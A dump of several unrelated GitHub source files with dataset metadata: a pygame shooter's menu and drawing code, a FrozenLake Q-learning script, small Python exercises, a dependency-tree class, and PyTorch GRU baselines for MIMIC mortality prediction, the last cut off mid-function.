self.player.shot:\r\n if not self.shot_length_count:\r\n self.shot_sound.play()\r\n self.shot_projection = min(shots)[1] // 2\r\n self.bullet_sfx()\r\n shot_sprite = self.weapon_shot_animation[0]\r\n self.screen.blit(shot_sprite, self.weapon_pos)\r\n self.shot_animation_count += 1\r\n if self.shot_animation_count == self.shot_animation_speed:\r\n self.weapon_shot_animation.rotate(-1)\r\n self.shot_animation_count = 0\r\n self.shot_length_count += 1\r\n self.shot_animation_trigger = False\r\n if self.shot_length_count == self.shot_length:\r\n self.player.shot = False\r\n self.shot_length_count = 0\r\n self.sfx_length_count = 0\r\n self.shot_animation_trigger = True\r\n else:\r\n self.screen.blit(self.weapon_base_sprite, self.weapon_pos)\r\n\r\n # Разметка места выстрела пользователем\r\n def bullet_sfx(self):\r\n if self.sfx_length_count < self.sfx_length:\r\n sfx = pygame.transform.scale(self.sfx[0], (self.shot_projection, self.shot_projection))\r\n sfx_rect = sfx.get_rect()\r\n self.screen.blit(sfx, (HALF_WIDTH - sfx_rect.w // 2, HALF_HEIGHT - sfx_rect.h // 2))\r\n self.sfx_length_count += 1\r\n self.sfx.rotate(-1)\r\n\r\n # Метод для выведения сообщения о победе или поражения пользователя\r\n def win_or_dead_message(self, condition_life):\r\n button_font = pygame.font.Font('data/fonts/pixel_font.ttf', 72)\r\n\r\n render = self.font_win.render(('Победа!' if condition_life else 'Поражение!'), True,\r\n (random.randrange(40, 120), 0, 0))\r\n rect = pygame.Rect(0, 0, (1000 if condition_life else 1200), 300)\r\n rect.center = HALF_WIDTH, HALF_HEIGHT\r\n pygame.draw.rect(self.screen, BLACK, rect, border_radius=50)\r\n self.screen.blit(render, (rect.centerx - (330 if condition_life else 500), rect.centery - 140))\r\n\r\n menu = button_font.render('Меню', True, pygame.Color('lightgray'))\r\n button_menu = pygame.Rect(0, 0, 370, 111)\r\n button_menu.center = HALF_WIDTH - 250, HALF_HEIGHT + 250\r\n\r\n leave = button_font.render('Выйти', True, pygame.Color('lightgray'))\r\n button_leave = pygame.Rect(0, 0, 370, 111)\r\n button_leave.center = HALF_WIDTH + 250, HALF_HEIGHT + 250\r\n\r\n self.menu_trigger = True\r\n while self.menu_trigger:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_menu, border_radius=25, width=10)\r\n self.screen.blit(menu, (button_menu.centerx - 120, button_menu.centery - 75))\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_leave, border_radius=25, width=10)\r\n self.screen.blit(leave, (button_leave.centerx - 130, button_leave.centery - 75))\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n mouse_click = pygame.mouse.get_pressed()\r\n pygame.mouse.set_visible(True)\r\n if button_menu.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_menu, border_radius=25)\r\n self.screen.blit(menu, (button_menu.centerx - 120, button_menu.centery - 75))\r\n if mouse_click[0]:\r\n return True\r\n elif button_leave.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_leave, border_radius=25)\r\n self.screen.blit(leave, (button_leave.centerx - 130, button_leave.centery - 75))\r\n if mouse_click[0]:\r\n pygame.quit()\r\n sys.exit()\r\n pygame.display.flip()\r\n self.clock.tick(15)\r\n\r\n # Метод для ввода никнейма перед загрузкой меню\r\n def enter_name(self):\r\n image = load_image('textures/background.jpg')\r\n name = \"\"\r\n running = True\r\n while running:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n exit()\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_a:\r\n name += \"a\"\r\n elif event.key == pygame.K_BACKSPACE:\r\n name = name[:-1]\r\n elif event.key == pygame.K_b:\r\n name += \"b\"\r\n elif event.key == pygame.K_c:\r\n name += \"c\"\r\n elif event.key == pygame.K_d:\r\n name += \"d\"\r\n elif event.key == pygame.K_e:\r\n name += \"e\"\r\n elif event.key == pygame.K_f:\r\n name += \"f\"\r\n elif event.key == pygame.K_j:\r\n name += \"j\"\r\n elif event.key == pygame.K_k:\r\n name += \"k\"\r\n elif event.key == pygame.K_l:\r\n name += \"l\"\r\n elif event.key == pygame.K_g:\r\n name += \"g\"\r\n elif event.key == pygame.K_m:\r\n name += \"m\"\r\n elif event.key == pygame.K_n:\r\n name += \"n\"\r\n elif event.key == pygame.K_o:\r\n name += \"o\"\r\n elif event.key == pygame.K_p:\r\n name += \"p\"\r\n elif event.key == pygame.K_q:\r\n name += \"q\"\r\n elif event.key == pygame.K_r:\r\n name += \"r\"\r\n elif event.key == pygame.K_s:\r\n name += \"s\"\r\n elif event.key == pygame.K_t:\r\n name += \"t\"\r\n elif event.key == pygame.K_u:\r\n name += \"u\"\r\n elif event.key == pygame.K_w:\r\n name += \"w\"\r\n elif event.key == pygame.K_h:\r\n name += \"h\"\r\n elif event.key == pygame.K_x:\r\n name += \"x\"\r\n elif event.key == pygame.K_y:\r\n name += \"y\"\r\n elif event.key == pygame.K_z:\r\n name += \"z\"\r\n elif event.key == pygame.K_SPACE:\r\n name += \" \"\r\n elif event.key == pygame.K_v:\r\n name += \"v\"\r\n elif event.key == pygame.K_i:\r\n name += \"i\"\r\n elif event.key == pygame.K_ESCAPE:\r\n pygame.quit()\r\n sys.exit()\r\n elif event.key == pygame.K_RETURN:\r\n screen.fill((0, 0, 0))\r\n return name\r\n\r\n text = self.font.render(name, True, (0, 0, 0))\r\n description = self.font.render(\"Введите никнейм\", True, (0, 0, 0))\r\n developers = self.font.render(\"Ganzha & Medvedev production\", True, (0, 0, 0))\r\n x = 500\r\n y = 350\r\n text_x = 525\r\n text_y = 400\r\n text_w = text.get_width()\r\n text_h = text.get_height()\r\n screen.fill((0, 0, 0))\r\n image1 = pygame.transform.scale(image, (1200, 800))\r\n screen.blit(image1, (0, 0))\r\n screen.blit(text, (text_x, text_y))\r\n screen.blit(developers, (850, 750))\r\n screen.blit(description, (x, y))\r\n if text_w <= 300:\r\n pygame.draw.rect(screen, (0, 0, 0), (430, text_y - 10,\r\n 300, text_h + 20), 3)\r\n else:\r\n pygame.draw.rect(screen, (0, 0, 0), (text_x - 10, text_y - 10,\r\n text_w + 20, text_h + 20), 3)\r\n pygame.display.update()\r\n pygame.quit()\r\n\r\n # Функция для виртуализации меню\r\n def menu(self):\r\n self.x = 0\r\n button_font = pygame.font.Font('data/fonts/pixel_font.ttf', 72)\r\n label_font = pygame.font.Font('data/fonts/cyberpunk_font.ttf', 168)\r\n\r\n start = button_font.render('Играть', True, pygame.Color('lightgray'))\r\n button_start = pygame.Rect(0, 0, 370, 111)\r\n button_start.center = HALF_WIDTH, HALF_HEIGHT - 50\r\n\r\n leave = button_font.render('Выйти', True, pygame.Color('lightgray'))\r\n button_leave = pygame.Rect(0, 0, 370, 111)\r\n button_leave.center = HALF_WIDTH, HALF_HEIGHT + 250\r\n\r\n leaders = button_font.render('Лидеры', True, pygame.Color('lightgray'))\r\n button_leaders = pygame.Rect(0, 0, 370, 111)\r\n button_leaders.center = HALF_WIDTH, HALF_HEIGHT + 100\r\n\r\n while self.menu_trigger:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n\r\n color = random.randrange(40)\r\n self.screen.blit(self.menu_picture, (0, 0), (self.x % WIDTH, HALF_HEIGHT, WIDTH, HEIGHT))\r\n self.x += 1\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_start, border_radius=25, width=10)\r\n self.screen.blit(start, (button_start.centerx - 140, button_start.centery - 75))\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_leave, border_radius=25, width=10)\r\n self.screen.blit(leave, (button_leave.centerx - 130, button_leave.centery - 75))\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_leaders, border_radius=25, width=10)\r\n self.screen.blit(leaders, (button_leaders.centerx - 170, button_leaders.centery - 75))\r\n\r\n label = label_font.render('LightWar', True, (color, color, color))\r\n self.screen.blit(label, (100, 50))\r\n\r\n if player_processing.total_highscore == 6:\r\n highscore = \"Игра завершена!\"\r\n else:\r\n highscore = player_processing.total_highscore\r\n\r\n label = self.fps_font.render(f\"Текущий уровень: {highscore}\", True,\r\n (color, color, color))\r\n self.screen.blit(label, (120, 20))\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n mouse_click = pygame.mouse.get_pressed()\r\n pygame.mouse.set_visible(True)\r\n if button_start.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_start, border_radius=25)\r\n self.screen.blit(start, (button_start.centerx - 140, button_start.centery - 75))\r\n if mouse_click[0]:\r\n pygame.mouse.set_visible(False)\r\n self.menu_trigger = False\r\n elif button_leave.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_leave, border_radius=25)\r\n self.screen.blit(leave, (button_leave.centerx - 130, button_leave.centery - 75))\r\n if mouse_click[0]:\r\n pygame.quit()\r\n sys.exit()\r\n elif button_leaders.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_leaders, border_radius=25)\r\n self.screen.blit(leaders, (button_leaders.centerx - 170, button_leaders.centery - 75))\r\n if mouse_click[0]:\r\n self.make_leaderboard()\r\n pygame.display.flip()\r\n self.clock.tick(20)\r\n\r\n # Метод для виртуализации таблицы лидеров при нажатии кнопки \"Лидеры\" в главном меню\r\n def make_leaderboard(self):\r\n button_font = pygame.font.Font('data/fonts/pixel_font.ttf', 72)\r\n label_font = pygame.font.Font('data/fonts/cyberpunk_font.ttf', 168)\r\n\r\n back = button_font.render('Назад', True, pygame.Color('lightgray'))\r\n button_back = pygame.Rect(0, 0, 370, 111)\r\n button_back.center = HALF_WIDTH + 400, HALF_HEIGHT + 333\r\n\r\n self.menu_trigger = True\r\n while self.menu_trigger:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n\r\n color = random.randrange(40)\r\n self.screen.blit(self.menu_picture, (0, 0), (self.x % WIDTH, HALF_HEIGHT, WIDTH, HEIGHT))\r\n self.x += 1\r\n\r\n pygame.draw.rect(self.screen, BLACK, button_back, border_radius=25, width=10)\r\n self.screen.blit(back, (button_back.centerx - 140, button_back.centery - 75))\r\n\r\n label = label_font.render('LightWar', True, (color, color, color))\r\n self.screen.blit(label, (100, 50))\r\n\r\n warning = self.font.render(\"В таблицу лидеров попадают игроки, прошедшие 5-ый уровень!\",\r\n True, (0, 0, 0))\r\n self.screen.blit(warning, (350, 270))\r\n\r\n leaders = self.font.render(\"ID Никнейм Затраченное время(сек)\", True, (0, 0, 0))\r\n self.screen.blit(leaders, (350, 300))\r\n\r\n for j, row in enumerate(data_leaderboard()):\r\n user_id, name, level, time = row\r\n\r\n label_id = self.font.render(str(user_id), True, (0, 0, 0))\r\n screen.blit(label_id, (345, 350 + j * 50))\r\n\r\n label_name = self.font.render(name, True, (0, 0, 0))\r\n screen.blit(label_name, (375, 350 + j * 50))\r\n\r\n label_time = self.font.render(str(time), True, (0, 0, 0))\r\n screen.blit(label_time, (525, 350 + j * 50))\r\n\r\n mouse_pos = pygame.mouse.get_pos()\r\n mouse_click = pygame.mouse.get_pressed()\r\n pygame.mouse.set_visible(True)\r\n if button_back.collidepoint(mouse_pos):\r\n pygame.draw.rect(self.screen, BLACK, button_back, border_radius=25)\r\n self.screen.blit(back, (button_back.centerx - 140, button_back.centery - 75))\r\n if mouse_click[0]:\r\n return True\r\n pygame.display.flip()\r\n self.clock.tick(15)\r\n","repo_name":"freshruit/LightWar_Shooter","sub_path":"drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":20425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32775766071","text":"import gym\nimport time\n\nimport sys\nsys.path.append(\"..\")\nfrom Models.QModel import QAgent\n\nTRAINING_EPOCHS = 20_000\nTRAINING_SHOW_EVERY = 1000\nTESTING_EPOCHS = 10000\nSIM_STEPS = 20000\n\n# Solving requirement: Reach the goal without falling\n# into a hole over 100 consecutive trials.\n# Reward is 0 for every step taken, 0 for falling \n# in the hole, 1 for reaching the final goal\n\ndef train(env, agent):\n rewards = []\n solved = 0\n for i in range(TRAINING_EPOCHS):\n if i % 1000 == 0:\n print(f\"Training {i}/{TRAINING_EPOCHS}\")\n print(f\"Solved {solved}/{i}\")\n state = env.reset()\n score = 0\n\n #if i % TRAINING_SHOW_EVERY == 0:\n # print(f\"Training {i}/{TRAINING_EPOCHS}\")\n while True:\n # Get action from agent\n action = agent.predict_random(state, i)\n new_state, reward, done, _ = env.step(action)\n # Update agent q-table.\n agent.update_q_table(state, action, reward, new_state)\n\n score += reward\n state = new_state\n if done:\n if reward > 0:\n solved += 1\n break\n\n rewards.append(score)\n\n print(\"Reward sum on all episodes \" +\n str(sum(rewards)/TRAINING_EPOCHS))\n\ndef test(env, agent):\n rewards = []\n solved = 0\n for i in range(TESTING_EPOCHS):\n state = env.reset()\n score = 0\n env.render()\n\n while True:\n # Get action from agent\n action = agent.predict(state)\n new_state, reward, done, _ = env.step(action)\n env.render()\n # Sleep to actually make the games watchable.\n time.sleep(0.1)\n\n # Update agent q-table.\n agent.update_q_table(state, action, reward, new_state)\n\n score += reward\n state = new_state\n if done:\n if reward > 0:\n solved += 1\n break\n\n rewards.append(score)\n\n print(f\"Reward sum on all episodes { (sum(rewards)/TRAINING_EPOCHS) }\")\n print(f\"Solved {solved}/{TESTING_EPOCHS}\")\n\nif __name__ == \"__main__\":\n env = gym.make(\"FrozenLake8x8-v0\")\n agent = QAgent(env)\n\n print(\"Starting training\")\n train(env, agent)\n test(env, agent)\n \n \n\n\n\n \n","repo_name":"EliasHaaralahti/OpenAI-Gym-Solutions","sub_path":"FrozenLake8x8-v0/Q-learning.py","file_name":"Q-learning.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38266836101","text":"# faça um programa que leia tres numeros e mostre qual é o maior e qual é o menor\nn1 = int(input('Digite um numero: '))\nn2 = int(input('Digite o segundo numero: '))\nn3 = int(input('Digite o terceiro numero: '))\nmaior = n1\nif n2 > n1 and n2 > n3:\n maior = n2\nif n3 > n1 and n3 > n2:\n maior = n3\n# para menor\nmenor = n1\nif n2 < n1 and n2 < n3:\n menor = n2\nif n3 < n1 and n3 < n2:\n menor = n3\nprint('Maior: {}'.format(maior))\nprint('Menor: {}'.format(menor))\n","repo_name":"Igor3550/Exercicios-de-python","sub_path":"mundo1/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72121350292","text":"import sys, re, os\r\n\r\nclass Tree:\r\n\t\"\"\"a simple dependency tree class for common use\"\"\"\r\n\r\n\t@staticmethod\r\n\tdef ReadTreesFromFile(filePath, conllFormat = False):\r\n\t\t\r\n\t\tsys.stderr.write('Reading dependency trees from ' + filePath + '\\n')\r\n\t\tfIn = file(filePath)\r\n\t\ttupleList\t= []\r\n\t\ttreeList\t= []\r\n\t\ttreeNum\t\t= 0\r\n\t\tfor i, line in enumerate (fIn):\r\n\t\t\titems = filter(lambda x: len(x) != 0, re.split('\\s+', line.decode('utf-8')))\r\n\t\t\tif (len(items) == 0):\r\n\t\t\t\tif (len(tupleList) != 0):\r\n\t\t\t\t\ttree = Tree.BuildTree(tupleList)\r\n\t\t\t\r\n\t\t\t\t\tif (tree != None):\r\n\t\t\t\t\t\ttreeList += [tree]\r\n\t\t\t\t\t\ttreeNum += 1\r\n\t\t\t\t\t\tif (treeNum % 1000 == 0):\r\n\t\t\t\t\t\t\tsys.stderr.write (str(treeNum) + '\\r')\r\n\r\n\t\t\t\t\ttupleList = []\r\n\t\t\t\tcontinue\r\n\r\n\r\n\t\t\tif (conllFormat == False):\r\n\t\t\t\ttupleList += [(items[0], items[1], items[2], items[3])]\r\n\t\t\telse:\r\n\t\t\t\ttupleList += [(items[1], items[3], items[6], items[7])]\r\n\r\n\r\n\t\t# process the last one\r\n\t\tif (len(tupleList) > 0):\r\n\t\t\ttree = Tree.BuildTree(tupleList)\r\n\t\t\tif (tree != None):\r\n\t\t\t\ttreeList += [tree]\r\n\r\n\t\treturn treeList\r\n\r\n\r\n\t# each tuple is (word, tag, headindex deplabel)\r\n\t@staticmethod\r\n\tdef BuildTree(tupleList):\r\n\t\ttreeList = []\r\n\t\tfor index, tuple in enumerate(tupleList):\r\n\t\t\ttreeList += [Tree(index, tuple[0], tuple[1], int(tuple[2]), tuple[3])]\r\n\r\n\t\thead = None\r\n\t\tfor index, tree in enumerate(treeList):\r\n\t\t\tif (tree.headIndex != 0):\r\n\t\t\t\ttree.headIndex -= 1\r\n\r\n\t\t\t\tif (tree.headIndex > index):\r\n\t\t\t\t\ttreeList[tree.headIndex].PushBackLeftChild(tree)\r\n\t\t\t\telse:\r\n\t\t\t\t\ttreeList[tree.headIndex].PushBackRightChild(tree)\r\n\t\t\telse:\r\n\t\t\t\thead = tree\r\n\r\n\t\treturn head\r\n\r\n\t\r\n\r\n\r\n\tdef __init__(self, wordIndex, word, tag, headIndex, depLabel):\r\n\t\tself.word\t\t= word\r\n\t\tself.tag\t\t= tag\r\n\t\tself.headIndex\t= headIndex\r\n\t\tself.depLabel\t= depLabel\r\n\t\tself.wordIndex = wordIndex\r\n\t\tself.parent\t\t= None\r\n\t\tself.left_children = []\r\n\t\tself.right_children = []\r\n\r\n\t\r\n\r\n\tdef PushBackLeftChild(self, tree):\r\n\t\tself.left_children += [tree]\r\n\t\ttree.parent = self\r\n\r\n\r\n\tdef PushBackRightChild(self, tree):\r\n\t\tself.right_children += [tree]\r\n\t\ttree.parent = self\r\n\r\n\r\n\tdef PushFrontLeftChild(self, tree):\r\n\t\tself.left_children = [tree] + self.left_children\r\n\t\ttree.parent = self\r\n\r\n\r\n\tdef IsLeaf(self):\r\n\t\treturn len(self.left_children) == 0 and len(self.right_children) == 0\r\n\r\n\r\n\tdef GetChildNum(self):\r\n\t\treturn len(self.left_children) + len(self.right_children)\r\n\r\n\r\n\tdef GetLeftChildNum(self):\r\n\t\treturn len(self.left_children)\r\n\r\n\r\n\tdef GetRightChildNum(self):\r\n\t\treturn len(self.right_children)\r\n\r\n\r\n\tdef GetLeftChildren(self):\r\n\t\treturn self.left_children\r\n\r\n\r\n\tdef GetRightChildren(self):\r\n\t\treturn self.right_children\r\n\r\n\r\n\tdef GetParent(self):\r\n\t\treturn self.parent\r\n\r\n\t\r\n\tdef GetWord(self):\r\n\t\treturn self.word\r\n\r\n\r\n\tdef GetTag(self):\r\n\t\treturn self.tag\r\n\r\n\r\n\tdef PrintTree(self, depth = 0, direction = 0, f = sys.stderr):\r\n\t\tfor tree in self.left_children:\r\n\t\t\ttree.PrintTree(depth + 1, 1, f)\r\n\r\n\t\tif (depth > 0):\r\n\t\t\tif (direction == 1):\r\n\t\t\t\tf.write( ' ' * 4 * depth + '/---')\r\n\t\t\telif (direction == 2):\r\n\t\t\t\tf.write( ' ' * 4 * depth + '\\\\---')\r\n\r\n\t\tf.write(\"[%s %s %s %d]\\n\" %(self.word.encode('utf-8'), self.tag.encode('utf-8'), self.depLabel.encode('utf-8'), self.headIndex) )\r\n\r\n\t\tfor tree in self.right_children:\r\n\t\t\ttree.PrintTree(depth + 1, 2, f)\r\n\r\n\r\n\tdef GetNodes(self, nodeList):\r\n\t\tfor tree in self.left_children:\r\n\t\t\ttree.GetNodes(nodeList)\r\n\r\n\t\tnodeList += [[self.word, self.tag, self.headIndex, self.depLabel]]\r\n\r\n\t\tfor tree in self.right_children:\r\n\t\t\ttree.GetNodes(nodeList)\r\n\r\n\t\t\t \r\n\r\n\r\n\r\n\r\n","repo_name":"majineu/Scripts","sub_path":"Dependency/TreeClass.py","file_name":"TreeClass.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27120697291","text":"#Leer las notas de una clase de informática y deducir todas aquellas que son NOTABLES (>= 7 y < 9).\nnotas=0\nprint(\"Ingrese numero de notas: \")\nnumero_notas=int(input())\nfor x in range(0, numero_notas):\n print(\"Ingrese nota del estudiante: \")\n nota=float(input())\n if nota >= 7.0 and nota < 9.0:\n notas= notas + 1\nprint(\"la cantidad de estudiantes con notas NOTABLES son : \",notas)","repo_name":"JUANSEBASTIANCAMACHO/TRABAJOS","sub_path":"EJERCICIOS PARA EL 02-03-2021/PUNTO DE PAGINA 7.py","file_name":"PUNTO DE PAGINA 7.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16558659771","text":"import pandas as pd\nimport numpy as np\nimport argparse\nimport torch\nimport torch.nn as nn\n\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.nn.functional as F\n\nfrom sklearn.metrics import roc_auc_score\n\nimport random\nimport ray\nimport ray.tune as tune\nfrom ray.tune.schedulers import AsyncHyperBandScheduler\n#from ray.tune.schedulers import AsyncHyperBandScheduler,HyperBandScheduler\nfrom ray.tune import Trainable\nfrom ray.tune.util import pin_in_object_store, get_pinned_object\nimport os\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import roc_curve,auc\n\nparser=argparse.ArgumentParser(description=\"Baselines for TS classification\")\n\n#Model parameters\nparser.add_argument('--L2',default=0,type=float,help=\"L2 penalty (weight decay\")\nparser.add_argument('--maxepochs',default=0,type=float,help=\"Max number of epochs for the training.\")\n\n#Model selection\nparser.add_argument('--unique',action='store_true',help=\"Train a unique model and saves it.\")\n\n\n\nclass GRU_mod(nn.Module):\n def __init__(self,input_dim,latents=100):\n #mean_feats should be a torch vector containing the computed means of each features for imputation.\n super(GRU_mean,self).__init__()\n\n self.layer1=nn.GRU(self.input_dim,latents,1,batch_first=True)\n self.classif_layer1=nn.Linear(latents,100)\n self.classif_layer1bis=nn.Linear(100,100)\n self.classif_layer2=nn.Linear(100,1)\n def forward(self,x):\n #x is a batch X T x input_dim tensor\n out,h_n=self.layer1(x)\n pred=F.relu(self.classif_layer1(h_n))\n pred=F.relu(self.classif_layer1bis(pred))\n pred=F.sigmoid(self.classif_layer2(pred))\n return(pred[0,:,0])\n\n\nclass GRU_mean_with_covs(nn.Module):\n def __init__(self,input_dim,mean_feats,device,cov_dim=None,latents=100,imputation_mode=\"mean\"):\n #mean_feats should be a torch vector containing the computed means of each features for imputation.\n #cov dim is the dimension of the covariates\n super(GRU_mean,self).__init__()\n if imputation_mode==\"simple\":\n self.imput=\"simple\"\n self.input_dim=3*input_dim\n elif imputation_mode==\"mean\":\n self.imput=\"mean\"\n self.input_dim=input_dim\n else:\n raise ValueError(\"Wrong imputation mode\")\n\n self.mean_feats=mean_feats\n self.layer1=nn.GRU(self.input_dim,latents,1,batch_first=True)\n self.classif_layer1=nn.Linear(latents,100)\n self.classif_layer1bis=nn.Linear(100,100)\n self.classif_layer2=nn.Linear(100,1)\n self.device=device\n\n self.beta_layer=nn.Linear(cov_dim,latents)\n\n def forward(self,x,covs):\n #x is a batch X T x input_dim tensor\n h_0=self.beta_layer(covs).unsqueeze(0)\n if self.imput==\"mean\":\n x=self.impute(x)\n elif self.imput==\"simple\":\n x=self.impute_simple(x)\n else:\n raise ValueError(\"Not a valid imputation option\")\n out,h_n=self.layer1(x,h_0)\n pred=F.relu(self.classif_layer1(h_n))\n pred=F.relu(self.classif_layer1bis(pred))\n pred=F.sigmoid(self.classif_layer2(pred))\n return(pred[0,:,0])\n\n def impute(self,x):\n #x is a batch X T x input_dim tensor\n #Replace NANs by the corresponding mean_values.\n n_batch=x.size(0)\n n_t=x.size(1)\n x_mean=self.mean_feats.repeat(n_batch,n_t,1).to(self.device) #Tensor with only the means\n non_nan_mask=(x==x)\n x_mean[non_nan_mask]=x[non_nan_mask]\n return(x_mean)\n\n def impute_simple(self,x):\n n_batch=x.size(0)\n n_t=x.size(1)\n\n observed_mask=(x==x) #1 if observed, 0 otherwise\n Delta=torch.zeros(x.size(),device=self.device) #\n #print(Delta.dtype)\n #print(observed_mask.dtype)\n for idt in range(1,n_t):\n a=torch.zeros((n_batch,x.size(2)),device=self.device).masked_scatter_(1-observed_mask[:,idt-1,:],Delta[:,idt-1,:])\n #a=(1-observed_mask[:,idt-1,:])*Delta[:,idt-1,:]\n Delta[:,idt,:]=torch.ones((n_batch,x.size(2)),device=self.device)+a#(1-observed_mask[:,idt-1,:])*Delta[:,idt-1,:]\n return torch.cat((self.impute(x),observed_mask.float(),Delta),dim=2)\n\nclass GRU_mean(nn.Module):\n def __init__(self,input_dim,mean_feats,device,latents=100,imputation_mode=\"mean\"):\n #mean_feats should be a torch vector containing the computed means of each features for imputation.\n #cov dim is the dimension of the covariates\n super(GRU_mean,self).__init__()\n if imputation_mode==\"simple\":\n self.imput=\"simple\"\n self.input_dim=3*input_dim\n elif imputation_mode==\"mean\":\n self.imput=\"mean\"\n self.input_dim=input_dim\n else:\n raise ValueError(\"Wrong imputation mode\")\n\n self.mean_feats=mean_feats\n self.layer1=nn.GRU(self.input_dim,latents,1,batch_first=True)\n self.classif_layer1=nn.Linear(latents,100)\n self.classif_layer1bis=nn.Linear(100,100)\n self.classif_layer2=nn.Linear(100,1)\n self.device=device\n\n def forward(self,x):\n #x is a batch X T x input_dim tensor\n\n if self.imput==\"mean\":\n x=self.impute(x)\n elif self.imput==\"simple\":\n x=self.impute_simple(x)\n else:\n raise ValueError(\"Not a valid imputation option\")\n out,h_n=self.layer1(x)\n pred=F.relu(self.classif_layer1(h_n))\n pred=F.relu(self.classif_layer1bis(pred))\n pred=F.sigmoid(self.classif_layer2(pred))\n return(pred[0,:,0])\n\n def impute(self,x):\n #x is a batch X T x input_dim tensor\n #Replace NANs by the corresponding mean_values.\n n_batch=x.size(0)\n n_t=x.size(1)\n x_mean=self.mean_feats.repeat(n_batch,n_t,1).to(self.device) #Tensor with only the means\n non_nan_mask=(x==x)\n x_mean[non_nan_mask]=x[non_nan_mask]\n return(x_mean)\n\n def impute_simple(self,x):\n n_batch=x.size(0)\n n_t=x.size(1)\n\n observed_mask=(x==x) #1 if observed, 0 otherwise\n Delta=torch.zeros(x.size(),device=self.device) #\n #print(Delta.dtype)\n #print(observed_mask.dtype)\n for idt in range(1,n_t):\n a=torch.zeros((n_batch,x.size(2)),device=self.device).masked_scatter_(1-observed_mask[:,idt-1,:],Delta[:,idt-1,:])\n #a=(1-observed_mask[:,idt-1,:])*Delta[:,idt-1,:]\n Delta[:,idt,:]=torch.ones((n_batch,x.size(2)),device=self.device)+a#(1-observed_mask[:,idt-1,:])*Delta[:,idt-1,:]\n return torch.cat((self.impute(x),observed_mask.float(),Delta),dim=2)\n\n\n\n\nclass LSTMDataset_ByPat(Dataset):\n def __init__(self,csv_file_serie=\"LSTM_tensor_train.csv\",file_path=\"~/Data/MIMIC/\",cov_path=\"LSTM_covariates_train\",tag_path=\"LSTM_death_tags_train.csv\",transform=None,latents_path=None):\n self.lab_short=pd.read_csv(file_path+csv_file_serie)\n d_idx=dict(zip(self.lab_short[\"UNIQUE_ID\"].unique(),np.arange(self.lab_short[\"UNIQUE_ID\"].nunique())))\n self.lab_short[\"PATIENT_IDX\"]=self.lab_short[\"UNIQUE_ID\"].map(d_idx)\n\n idx_mat=self.lab_short[[\"PATIENT_IDX\",\"LABEL_CODE\",\"TIME_STAMP\",\"VALUENORM\"]].as_matrix()\n\n idx_tens=torch.LongTensor(idx_mat[:,:-1])\n val_tens=torch.Tensor(idx_mat[:,-1])\n sparse_data=torch.sparse.FloatTensor(idx_tens.t(),val_tens)\n self.data_matrix=sparse_data.to_dense()\n\n self.data_matrix[self.data_matrix==0]=torch.tensor([np.nan])\n\n #covariates\n df_cov=pd.read_csv(file_path+cov_path+\".csv\")\n df_cov[\"PATIENT_IDX\"]=df_cov[\"UNIQUE_ID\"].map(d_idx)\n df_cov.set_index(\"PATIENT_IDX\",inplace=True)\n df_cov.sort_index(inplace=True)\n self.cov_u=torch.tensor(df_cov.as_matrix()[:,1:]).float()\n\n #Death tags\n tags_df=pd.read_csv(file_path+tag_path)\n tags_df[\"PATIENT_IDX\"]=tags_df[\"UNIQUE_ID\"].map(d_idx)\n tags_df.sort_values(by=\"PATIENT_IDX\",inplace=True)\n self.tags=torch.Tensor(tags_df[\"DEATHTAG\"].values).float()\n\n #Imputation with CPD\n if latents_path is not None:\n latents_pat_mean=np.load(latents_path+\"mean_pat_latent.npy\")\n latents_feat_mean=np.load(latents_path+\"mean_feat_latent.npy\")\n latents_time_mean=np.load(latents_path+\"mean_time_latent.npy\")\n reconstructed_tensor=torch.Tensor(np.einsum('il,jl,kl->ijk',latents_pat_mean,latents_feat_mean,latents_times_mean))\n #To be continued....\n #Some dimensions.\n self.covu_num=self.cov_u.size(1)\n self.pat_num=self.lab_short[\"UNIQUE_ID\"].nunique()\n self.meas_num=self.lab_short[\"LABEL_CODE\"].nunique()\n self.length=self.pat_num\n def __len__(self):\n return self.pat_num\n def __getitem__(self,idx):\n return([idx,self.data_matrix[idx,:,:],self.tags[idx],self.cov_u[idx,:]])#,self.train_tags[idx]])\n\ndef train(device,epoch_max,L2):\n\n data_train=LSTMDataset_ByPat(file_path=\"~/Data/MIMIC/\")\n data_val=LSTMDataset_ByPat(csv_file_serie=\"LSTM_tensor_val.csv\",file_path=\"~/Data/MIMIC/\",cov_path=\"LSTM_covariates_val\",tag_path=\"LSTM_death_tags_val.csv\")\n\n #means_vec for imputation.\n 